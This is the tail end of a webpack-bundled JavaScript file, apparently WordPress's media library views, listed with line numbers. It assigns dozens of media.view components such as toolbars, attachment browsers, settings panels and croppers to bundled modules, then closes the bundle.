10520media.view.UploaderStatus = __webpack_require__( 8197 );
10521media.view.UploaderStatusError = __webpack_require__( 6442 );
10522media.view.Toolbar = __webpack_require__( 5275 );
10523media.view.Toolbar.Select = __webpack_require__( 9458 );
10524media.view.Toolbar.Embed = __webpack_require__( 397 );
10525media.view.Button = __webpack_require__( 846 );
10526media.view.ButtonGroup = __webpack_require__( 168 );
10527media.view.PriorityList = __webpack_require__( 8815 );
10528media.view.MenuItem = __webpack_require__( 9013 );
10529media.view.Menu = __webpack_require__( 1 );
10530media.view.RouterItem = __webpack_require__( 6327 );
10531media.view.Router = __webpack_require__( 4783 );
10532media.view.Sidebar = __webpack_require__( 1992 );
10533media.view.Attachment = __webpack_require__( 4075 );
10534media.view.Attachment.Library = __webpack_require__( 3443 );
10535media.view.Attachment.EditLibrary = __webpack_require__( 5232 );
10536media.view.Attachments = __webpack_require__( 8142 );
10537media.view.Search = __webpack_require__( 2102 );
10538media.view.AttachmentFilters = __webpack_require__( 7709 );
10539media.view.DateFilter = __webpack_require__( 6472 );
10540media.view.AttachmentFilters.Uploaded = __webpack_require__( 1368 );
10541media.view.AttachmentFilters.All = __webpack_require__( 7349 );
10542media.view.AttachmentsBrowser = __webpack_require__( 6829 );
10543media.view.Selection = __webpack_require__( 8282 );
10544media.view.Attachment.Selection = __webpack_require__( 3962 );
10545media.view.Attachments.Selection = __webpack_require__( 3479 );
10546media.view.Attachment.EditSelection = __webpack_require__( 4593 );
10547media.view.Settings = __webpack_require__( 1915 );
10548media.view.Settings.AttachmentDisplay = __webpack_require__( 7656 );
10549media.view.Settings.Gallery = __webpack_require__( 7266 );
10550media.view.Settings.Playlist = __webpack_require__( 2356 );
10551media.view.Attachment.Details = __webpack_require__( 6090 );
10552media.view.AttachmentCompat = __webpack_require__( 2982 );
10553media.view.Iframe = __webpack_require__( 1982 );
10554media.view.Embed = __webpack_require__( 5741 );
10555media.view.Label = __webpack_require__( 4338 );
10556media.view.EmbedUrl = __webpack_require__( 7327 );
10557media.view.EmbedLink = __webpack_require__( 8232 );
10558media.view.EmbedImage = __webpack_require__( 2395 );
10559media.view.ImageDetails = __webpack_require__( 2650 );
10560media.view.Cropper = __webpack_require__( 7637 );
10561media.view.SiteIconCropper = __webpack_require__( 443 );
10562media.view.SiteIconPreview = __webpack_require__( 7810 );
10563media.view.EditImage = __webpack_require__( 6126 );
10564media.view.Spinner = __webpack_require__( 9141 );
10565media.view.Heading = __webpack_require__( 170 );
10566
10567/******/ })()
10568;